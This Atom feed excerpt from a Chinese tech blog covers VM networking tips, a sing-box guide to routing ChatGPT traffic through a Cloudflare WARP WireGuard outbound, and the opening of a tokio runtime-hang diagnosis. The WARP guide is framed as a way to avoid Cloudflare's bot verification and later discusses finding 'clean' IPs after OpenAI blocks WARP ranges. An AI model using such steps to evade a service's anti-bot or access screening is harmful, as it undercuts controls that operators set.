&lt;li&gt;&lt;strong&gt;amd64 ISO 装不上 aarch64&lt;&#x2F;strong&gt;：qemu-system-aarch64 只能跑 arm64 guest，x86 镜像要么换 emulator 要么全模拟慢到没法用&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;virsh qemu-agent-command&lt;&#x2F;code&gt; 不支持 &lt;code&gt;--file&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：JSON 只能内联传参，命令长时用 base64 传递避免转义地狱&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ssh u24&lt;&#x2F;code&gt; 报 Host key verification failed&lt;&#x2F;strong&gt;：之前用临时 &lt;code&gt;UserKnownHostsFile&lt;&#x2F;code&gt; 连接过，默认 known_hosts 里没有，&lt;code&gt;accept-new&lt;&#x2F;code&gt; 一次即可&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;macvtap 下 &lt;code&gt;domifaddr --source arp&lt;&#x2F;code&gt; 拿不到 IP&lt;&#x2F;strong&gt;：宿主与 guest 不通，ARP 表里没有 guest；靠 guest-agent 或 vsock 查&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;局域网直连优先考虑 macvlan&#x2F;macvtap：&lt;strong&gt;不动宿主网卡、零断网风险&lt;&#x2F;strong&gt;，代价是宿主↔guest 不通&lt;&#x2F;li&gt;
&lt;li&gt;VSOCK 是补这个坑的干净通道：guest 内一条 socat systemd 服务即可，SSH 完全复用，不依赖 IP&lt;&#x2F;li&gt;
&lt;li&gt;aarch64 宿主记得核对 guest 镜像架构，cloud 镜像 + cloud-init seed 可以全自动落地&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>sing-box 分流 WARP 出口访问 ChatGPT：告别 Cloudflare 验证</title>
        <published>2026-08-26T22:37:16+08:00</published>
        <updated>2026-08-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/cloudflare-warp-singbox-outbound/"/>
        <id>https://vercel.juzhong.asia/2026/08/cloudflare-warp-singbox-outbound/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/cloudflare-warp-singbox-outbound/">&lt;h1 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h1&gt;
&lt;p&gt;自己 VPS（机房 IP）上跑 sing-box 代理，访问 ChatGPT 时经常弹出 Cloudflare 的&quot;确认你是真人&quot;验证页（Turnstile）。换不同节点偶有缓解，但始终频繁。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yuan-yin&quot;&gt;原因&lt;&#x2F;h1&gt;
&lt;p&gt;ChatGPT 背后是 Cloudflare 的 WAF + DDoS 防护。Cloudflare 会对每个访问 IP 评估信誉度，而 VPS 的机房 IP（ASN 类型为 Hosting&#x2F;Data Center）天然处于低信誉档：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;机房 IP 连坐&lt;&#x2F;strong&gt;：大量爬虫、自动化脚本都从机房 IP 发出，同一个 IP 段里的&quot;坏邻居&quot;会拉低整个段的信誉；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;地理行为突变&lt;&#x2F;strong&gt;：账号短时间内跨多个国家 IP 登录，会触发风控。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以对 Cloudflare 来说，机房 IP 访问 ChatGPT ≈ 疑似机器人 → 弹验证。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;si-lu-rang-chatgpt-liu-liang-zou-warp-chu-kou&quot;&gt;思路：让 ChatGPT 流量走 WARP 出口&lt;&#x2F;h1&gt;
&lt;p&gt;与其反复换 VPS 的 IP（不一定干净，还可能收费），不如用 Cloudflare 官方的 &lt;strong&gt;WARP&lt;&#x2F;strong&gt; 作为 ChatGPT 流量的出口。&lt;&#x2F;p&gt;
&lt;p&gt;WARP 是 Cloudflare 官方出品的网络客户端（本质是基于 WireGuard 协议的隧道），它的出口 IP 由 Cloudflare 管理，信誉度远高于普通机房 IP。社区普遍反馈：WARP 出口访问 ChatGPT 基本不弹验证。&lt;&#x2F;p&gt;
&lt;p&gt;关键决策：&lt;strong&gt;不要把整个 VPS 全局走 WARP&lt;&#x2F;strong&gt;（会连带 SSH、更新、其他服务全部改出口，还容易踩路由循环），而是把 WARP 注册成 sing-box 的一个 &lt;code&gt;wireguard&lt;&#x2F;code&gt; outbound，只让 OpenAI 相关域名走它。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;客户端 → sing-box(VPS)
          ├── direct ─────────→ VPS 原生 IP（其余流量）
          └── wireguard:warp ─→ Cloudflare WARP → ChatGPT（openai.com 等）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;cheng-qing-bu-shi-cloudflared-ye-bu-shi-warp-cli-quan-ju&quot;&gt;澄清：不是 cloudflared，也不是 warp-cli 全局&lt;&#x2F;h1&gt;
&lt;p&gt;先区分三个容易混淆的东西：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;程序&lt;&#x2F;th&gt;&lt;th&gt;方向&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;cloudflared&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;入站&lt;&#x2F;td&gt;&lt;td&gt;Cloudflare Tunnel，把外部请求带进你的服务器（反向代理）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;warp-cli&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;出站全局&lt;&#x2F;td&gt;&lt;td&gt;系统级客户端，默认把整台机器的流量都走 WARP&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;WARP WireGuard 参数&lt;&#x2F;td&gt;&lt;td&gt;出站按需&lt;&#x2F;td&gt;&lt;td&gt;直接把 WARP 当作一个 WireGuard 端点，由 sing-box 按规则选用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;前两种都不适合&quot;只让 ChatGPT 流量走 WARP&quot;这个目标。我们只需要拿到 WARP 的 WireGuard 连接参数，交给 sing-box 即可。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;di-yi-bu-yong-wgcf-zhu-ce-na-dao-wireguard-can-shu&quot;&gt;第一步：用 wgcf 注册，拿到 WireGuard 参数&lt;&#x2F;h1&gt;
&lt;p&gt;WARP 底层就是 WireGuard，但参数不能随便编：&lt;code&gt;private_key&lt;&#x2F;code&gt;、&lt;code&gt;local_address&lt;&#x2F;code&gt;（WARP 分配的 172.16.x.x &#x2F; fd01:5ca1:ab1e 段）、&lt;code&gt;peer_public_key&lt;&#x2F;code&gt;（WARP 服务端公钥）、&lt;code&gt;reserved&lt;&#x2F;code&gt;（WARP 特有字段）都来自 Cloudflare 的注册流程。&lt;&#x2F;p&gt;
&lt;p&gt;社区标准做法是用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ViRb3&#x2F;wgcf&quot;&gt;wgcf&lt;&#x2F;a&gt; 模拟注册，在 VPS 上执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;curl -L -o wgcf https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;ViRb3&amp;#x2F;wgcf&amp;#x2F;releases&amp;#x2F;download&amp;#x2F;v2.2.22&amp;#x2F;wgcf_2.2.22_linux_amd64
chmod +x wgcf
.&amp;#x2F;wgcf register --accept-tos   # 生成 wgcf-account.toml
.&amp;#x2F;wgcf generate                # 生成 wgcf-profile.conf
cat wgcf-profile.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成的 &lt;code&gt;wgcf-profile.conf&lt;&#x2F;code&gt; 类似：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Interface]
PrivateKey = &amp;lt;WARP_PRIVATE_KEY&amp;gt;
Address = 172.16.0.2&amp;#x2F;32, fd01:5ca1:ab1e:xxxx:xxxx:xxxx:xxxx:xxxx&amp;#x2F;128
DNS = 1.1.1.1, 2606:4700:4700::1111
MTU = 1280

[Peer]
PublicKey = bmXOC+F1FxEMF9dyiK2H5&amp;#x2F;1SUtzH0JuVo51h2wPfgyo=
AllowedIPs = 0.0.0.0&amp;#x2F;0, ::&amp;#x2F;0
Endpoint = 162.159.192.1:2408
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：&lt;code&gt;wgcf-profile.conf&lt;&#x2F;code&gt; 里没有 &lt;code&gt;reserved&lt;&#x2F;code&gt;，但 WARP 的握手必须带 reserved 字段。sing-box 支持配置，生成方法见下文。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;di-er-bu-sing-box-pei-zhi-warp-outbound&quot;&gt;第二步：sing-box 配置 WARP outbound&lt;&#x2F;h1&gt;
&lt;p&gt;把上面的参数填进 sing-box 的 &lt;code&gt;outbounds&lt;&#x2F;code&gt;（&lt;code&gt;config.json&lt;&#x2F;code&gt; 里）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
  &amp;quot;outbounds&amp;quot;: [
    {
      &amp;quot;type&amp;quot;: &amp;quot;direct&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;direct&amp;quot;
    },
    {
      &amp;quot;type&amp;quot;: &amp;quot;wireguard&amp;quot;,
      &amp;quot;tag&amp;quot;: &amp;quot;warp&amp;quot;,
      &amp;quot;server&amp;quot;: &amp;quot;162.159.192.1&amp;quot;,
      &amp;quot;server_port&amp;quot;: 2408,
      &amp;quot;local_address&amp;quot;: [
        &amp;quot;172.16.0.2&amp;#x2F;32&amp;quot;,
        &amp;quot;fd01:5ca1:ab1e:xxxx:xxxx:xxxx:xxxx:xxxx&amp;#x2F;128&amp;quot;
      ],
      &amp;quot;private_key&amp;quot;: &amp;quot;WARP_PRIVATE_KEY&amp;quot;,
      &amp;quot;peer_public_key&amp;quot;: &amp;quot;bmXOC+F1FxEMF9dyiK2H5&amp;#x2F;1SUtzH0JuVo51h2wPfgyo=&amp;quot;,
      &amp;quot;reserved&amp;quot;: [0, 0, 0],
      &amp;quot;mtu&amp;quot;: 1280
    }
  ]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;peer_public_key&lt;&#x2F;code&gt; 是 WARP 的固定公钥 &lt;code&gt;bmXOC+F1FxEMF9dyiK2H5&#x2F;1SUtzH0JuVo51h2wPfgyo=&lt;&#x2F;code&gt;，人人相同；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;reserved&lt;&#x2F;code&gt; 是 WARP 三字节保留位，wgcf 生成配置后可用 &lt;code&gt;.&#x2F;wgcf generate --profile &amp;lt;(cat wgcf-account.toml) --reserved&lt;&#x2F;code&gt; 打印实际值，或直接尝试 &lt;code&gt;[0, 0, 0]&lt;&#x2F;code&gt;（多数情况下可用）；&lt;&#x2F;li&gt;
&lt;li&gt;免费版 WARP 注册即可用，无需 license key（WARP+ 才需要）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;di-san-bu-lu-you-gui-ze-zhi-rang-openai-yu-ming-zou-warp&quot;&gt;第三步：路由规则，只让 OpenAI 域名走 WARP&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
  &amp;quot;route&amp;quot;: {
    &amp;quot;rules&amp;quot;: [
      {
        &amp;quot;domain_suffix&amp;quot;: [
          &amp;quot;chatgpt.com&amp;quot;,
          &amp;quot;openai.com&amp;quot;,
          &amp;quot;oaistatic.com&amp;quot;,
          &amp;quot;oaiusercontent.com&amp;quot;,
          &amp;quot;auth0.com&amp;quot;
        ],
        &amp;quot;outbound&amp;quot;: &amp;quot;warp&amp;quot;
      }
    ]
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;ChatGPT 实际涉及的域名不止 &lt;code&gt;chatgpt.com&lt;&#x2F;code&gt;：登录走 &lt;code&gt;auth.openai.com&lt;&#x2F;code&gt;（auth0），静态资源走 &lt;code&gt;oaistatic.com&lt;&#x2F;code&gt;，图片走 &lt;code&gt;oaiusercontent.com&lt;&#x2F;code&gt;。上面的列表覆盖了主要部分。&lt;&#x2F;p&gt;
&lt;p&gt;改完 &lt;code&gt;config.json&lt;&#x2F;code&gt; 重启 sing-box：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl restart sing-box
journalctl -u sing-box -f   # 看有没有报错
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;yan-zheng&quot;&gt;验证&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;WARP 出口确认&lt;&#x2F;strong&gt;：让 sing-box 的 DNS&#x2F;测试流量走 warp 后，检查出口：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 在客户端通过代理访问
curl https:&amp;#x2F;&amp;#x2F;www.cloudflare.com&amp;#x2F;cdn-cgi&amp;#x2F;trace
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出里 &lt;code&gt;warp=on&lt;&#x2F;code&gt; 说明确实从 WARP 出口出去：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ip=&amp;lt;WARP出口IP&amp;gt;
warp=on
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;对比验证频率&lt;&#x2F;strong&gt;：分别用 direct 出口和 warp 出口访问 ChatGPT，观察验证页出现频率。多刷新几次、退出登录状态再试，才更接近真实风控场景。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;其余流量不受影响&lt;&#x2F;strong&gt;：&lt;code&gt;curl ifconfig.me&lt;&#x2F;code&gt; 看到的应该是 VPS 原生 IP，说明只有 OpenAI 域名走了 WARP。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;zhu-yi-shi-xiang&quot;&gt;注意事项&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WARP 不是保证&lt;&#x2F;strong&gt;：WARP 出口 IP 同样可能被大量用户共享，只是信誉比机房 IP 好得多，能大幅减少但未必 100% 消除验证；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;WARP 出口 IP ≠ Cloudflare CDN IP&lt;&#x2F;strong&gt;：Cloudflare 不公开 WARP 出口地址池，它和 Worker 禁止 &lt;code&gt;connect()&lt;&#x2F;code&gt; 的 CDN IP ranges 是两回事。WARP 用户访问套了 Cloudflare CDN 的网站是官方支持的正常路径，不会&quot;循环丢弃&quot;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;别全局开 warp-cli&lt;&#x2F;strong&gt;：系统级全局 WARP 会改变 VPS 上所有出站流量的出口（SSH 回程、apt 更新、Docker 等都可能受影响），排查问题更难。sing-box outbound 方式完全不动系统路由，SSH 和其余服务照旧；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;免费 WARP 出口不固定&lt;&#x2F;strong&gt;：免费版出口 IP 可能变化；WARP+（付费）有固定 IP 支持，一般没必要。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;shi-ce-geng-xin-2026-08-28-warp-chu-kou-duan-bei-openai-feng-jin-de-qing-kuang&quot;&gt;实测更新（2026-08-28）：WARP 出口段被 OpenAI 封禁的情况&lt;&#x2F;h1&gt;
&lt;p&gt;用官方 &lt;code&gt;cloudflare-warp&lt;&#x2F;code&gt; 客户端（warp-svc + &lt;code&gt;warp-cli mode proxy&lt;&#x2F;code&gt;，SOCKS5 &lt;code&gt;127.0.0.1:40000&lt;&#x2F;code&gt;）在 VPS 上部署后，把 sing-box 的 OpenAI 域名分流指向它。路由规则确认生效（服务端日志 &lt;code&gt;inbound&#x2F;vless → outbound&#x2F;socks[warp]&lt;&#x2F;code&gt;），但实测结果是&lt;strong&gt;完全打不开&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;chatgpt.com        → 403 Unable to load site [IP:104.28.215.69 | Ray ID:...]
openai.com         → 403
auth.openai.com    → 403
platform.openai.com→ 403
api.openai.com     → 403
google.com（对照）   → 200（隧道本身健康）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;排查过程摘要：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;原生 VPS IP（UCloud 香港机房）、WARP IPv4 出口（&lt;code&gt;104.28.215.69&lt;&#x2F;code&gt;）、WARP IPv6 出口（&lt;code&gt;2a09:bac1::&lt;&#x2F;code&gt; &#x2F; 重连换段后 &lt;code&gt;2a09:bac5::&lt;&#x2F;code&gt;）&lt;strong&gt;全部 403&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;强制 IPv4&#x2F;IPv6 目标、带浏览器 UA、重连换出口段，均无效；&lt;&#x2F;li&gt;
&lt;li&gt;错误页是 Cloudflare WAF 的&lt;strong&gt;自定义错误页&lt;&#x2F;strong&gt;（&lt;code&gt;Unable to load site&lt;&#x2F;code&gt; + Ray ID），不是本文主场景的 Turnstile 真人验证页。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;结论：这属于 &lt;strong&gt;OpenAI WAF 对 WARP 出口段（&lt;code&gt;104.28.x.x&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;2a09:bacx::&lt;&#x2F;code&gt;）的 IP 级封禁&lt;&#x2F;strong&gt;（社区已知现象，WARP 用户访问 ChatGPT 普遍报此错误），与本文&quot;机房低信誉→弹验证&quot;是两个不同的失败模式：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;失败模式&lt;&#x2F;th&gt;&lt;th&gt;页面表现&lt;&#x2F;th&gt;&lt;th&gt;WARP 是否有效&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;IP 信誉低（机房段）&lt;&#x2F;td&gt;&lt;td&gt;频繁弹 Turnstile 真人验证&lt;&#x2F;td&gt;&lt;td&gt;有效，大幅减少验证&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;IP 被拉黑（WARP 出口段）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;Unable to load site&lt;&#x2F;code&gt; 自定义错误页&lt;&#x2F;td&gt;&lt;td&gt;无效，换段也没用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;经验&lt;&#x2F;strong&gt;：部署前先确认目标站点在候选出口上的可用性（&lt;code&gt;curl --socks5-hostname &amp;lt;出口&amp;gt; https:&#x2F;&#x2F;chatgpt.com&lt;&#x2F;code&gt; 看是验证页还是错误页），避免白部署；若 WARP 出口被封，只能换 VPS 商家&#x2F;机场节点碰运气拿干净 IP，或家庭宽带直连。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;机房 IP 访问 ChatGPT 频繁弹 Cloudflare 验证，根因是 IP 信誉，不是账号或浏览器问题。用 wgcf 把 WARP 注册成 WireGuard 参数、在 sing-box 里加一个 &lt;code&gt;wireguard&lt;&#x2F;code&gt; outbound、按域名分流 OpenAI 流量——改动小、不动系统路由，是当前成本最低且有效的方案。如果 WARP 后仍频繁验证，再考虑换原生 IP（ISP 类型）的 VPS 商家，但这是最后一步。注意 2026-08-28 实测补充：WARP 出口段本身可能已被 OpenAI 封禁，部署前务必先验证出口可用性。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>tokio 运行时「睡死」诊断记录：message-queue-enhance 服务异常排查</title>
        <published>2026-08-25T17:47:50+08:00</published>
        <updated>2026-08-25T17:47:50+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/tokio-runtime-hang-diagnosis/"/>
        <id>https://vercel.juzhong.asia/2026/08/tokio-runtime-hang-diagnosis/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/tokio-runtime-hang-diagnosis/">&lt;h1 id=&quot;pai-cha-xue-xi-lu-jing&quot;&gt;排查&#x2F;学习路径&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;一句话结论&lt;&#x2F;strong&gt;：一个 tokio+axum 服务在&quot;双隧道并发注册 + 旧对存活&quot;的重叠场景下，&lt;code&gt;registry.insert()&lt;&#x2F;code&gt; 撞上 &lt;strong&gt;dashmap 6.2.1 自研写锁的多 writer 丢失唤醒&lt;&#x2F;strong&gt;（&lt;code&gt;lock_exclusive_slow&lt;&#x2F;code&gt;），两个以上 worker 永久卡在锁上；恰逢其中一位正持有 &lt;strong&gt;tokio io&#x2F;timer driver 的单 owner 令牌&lt;&#x2F;strong&gt; → epoll 无人轮询 → 其余 worker 无限空闲等唤醒永不满足 → &lt;strong&gt;全 runtime 静默死透&lt;&#x2F;strong&gt;（进程活着、端口监听、日志停写、请求无响应）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;学习路径建议&lt;&#x2F;strong&gt;（按本文结构，每段可独立跳到）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;会看症状&lt;&#x2F;strong&gt; → &lt;code&gt;现象&lt;&#x2F;code&gt; + &lt;code&gt;第一步&#x2F;第二步&lt;&#x2F;code&gt;：TCP 能连 ≠ 服务能用；&lt;code&gt;ss&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;lsof&lt;&#x2F;code&gt; 谁在听；日志停止点=第一现场&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;学会&quot;判定进程是否活着&quot;（活死判定）&lt;&#x2F;strong&gt; → &lt;code&gt;第三步&lt;&#x2F;code&gt; wchan 全分布（&lt;code&gt;futex_wait_queue&lt;&#x2F;code&gt; vs &lt;code&gt;do_epoll_wait&lt;&#x2F;code&gt; vs &lt;code&gt;park_condvar&lt;&#x2F;code&gt; 的意义）+ &lt;code&gt;第五步&lt;&#x2F;code&gt; epoll fdinfo 注册表&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;学会取证&lt;&#x2F;strong&gt; → &lt;code&gt;第四步&lt;&#x2F;code&gt; gcore → 手工解栈（无 DWARF 时 &lt;code&gt;x&#x2F;8gx $rsp&lt;&#x2F;code&gt; + nm 基址）→ &lt;code&gt;带 DWARF 的 debug 版&lt;&#x2F;code&gt;（本项目一键 build 出 &lt;code&gt;.debug&lt;&#x2F;code&gt;，gdb 免参数全栈）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;会复现&lt;&#x2F;strong&gt;（可跑通）→ &lt;code&gt;复现成功&lt;&#x2F;code&gt; 章 + &lt;code&gt;脚本下载&lt;&#x2F;code&gt;（repro7&#x2F;8 一键起）→ 三次独立命中；最小独立样本见 &lt;code&gt;最小独立复现样本&lt;&#x2F;code&gt;（按生产锁序的 tokio 版，3&#x2F;3 命中 &lt;code&gt;lock_exclusive_slow&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;懂根因&lt;&#x2F;strong&gt; → &lt;code&gt;根因锁定&lt;&#x2F;code&gt;（dashmap 状态机 + 读锁跨 await 红线）→ &lt;code&gt;连锁反应&lt;&#x2F;code&gt;（driver 令牌断供）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;懂怎么修&lt;&#x2F;strong&gt; → QA 的 &lt;code&gt;A&#x2F;B 修复&lt;&#x2F;code&gt; + &lt;code&gt;修复落地与验证&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;message-queue-enhance&lt;&#x2F;code&gt; 是我们一个 Rust 组合服务（单端口 8080）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;forward&#x2F;ws&lt;&#x2F;code&gt; —— 反向隧道控制面（Reverse Forwarder 协议：公网端口 → Nginx 客户端 → 内网服务）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;ws&lt;&#x2F;code&gt;、&lt;code&gt;&#x2F;mq&#x2F;ws&lt;&#x2F;code&gt; —— 消息中继（WebSocket 发布&#x2F;订阅）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;mq&#x2F;status&lt;&#x2F;code&gt; —— 组合仪表盘（SSR HTML，5 秒自动刷新）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;部署后不久服务&quot;异常&quot;：&lt;code&gt;&#x2F;mq&#x2F;status&lt;&#x2F;code&gt; 无法访问，TCP 显示&lt;strong&gt;还在监听 8080 端口&lt;&#x2F;strong&gt;，但 &lt;code&gt;curl&lt;&#x2F;code&gt; 或 &lt;code&gt;websocat&lt;&#x2F;code&gt; 连接都没有任何反映。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;这篇文章是&quot;调试工具与方法论&quot;视角的完整记录：没有一次定位，没有灵光一闪，只有一步步用 &lt;code&gt;&#x2F;proc&lt;&#x2F;code&gt;、日志、core dump 把&quot;还活着&quot;证明成&quot;其实死透了&quot;。文章会随深度排查持续更新。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;$ curl http:&amp;#x2F;&amp;#x2F;&amp;lt;server&amp;gt;:8080&amp;#x2F;mq&amp;#x2F;status      # 超时，0 字节应答
$ curl http:&amp;#x2F;&amp;#x2F;&amp;lt;server&amp;gt;:10200&amp;#x2F;mq&amp;#x2F;status     # 超时（同服务经 caddy 代理）
$ curl -k https:&amp;#x2F;&amp;#x2F;&amp;lt;server&amp;gt;:9000&amp;#x2F;mq&amp;#x2F;status  # HTTP 200 但 body 空！
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;端口探针&#x2F;&lt;code&gt;ss&lt;&#x2F;code&gt; 显示 8080 仍在 LISTEN，进程还存在（容器 &lt;code&gt;docker ps&lt;&#x2F;code&gt; Up 状态），但一切请求都像被黑洞吞掉。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;第一课：TCP 能连通 ≠ 服务可用。&lt;&#x2F;strong&gt; 内核层监听（backlog 队列）和用户态 accept&#x2F;处理是完全两回事——&lt;code&gt;ss&lt;&#x2F;code&gt; 显示 LISTEN 只证明了内核 socket 还在。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pai-cha-guo-cheng&quot;&gt;排查过程&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;di-yi-bu-que-ren-shui-zai-ting-shui-zai-deng&quot;&gt;第一步：确认&quot;谁在听、谁在等&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;先搞清楚 8080 上到底有什么 socket 坐着：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 容器 netns 内查看（宿主侧 lsof）
sudo nsenter -t &amp;lt;host_pid&amp;gt; -n lsof -nP -iTCP:8080
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果（关键几行）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;caddy      &amp;lt;pid&amp;gt;  TCP 127.0.0.1:32768-&amp;gt;127.0.0.1:8080 (ESTABLISHED)   # 反向代理一条连接挂死
message-q  &amp;lt;pid&amp;gt;  TCP *:8080 (LISTEN)                                 # 主服务在听
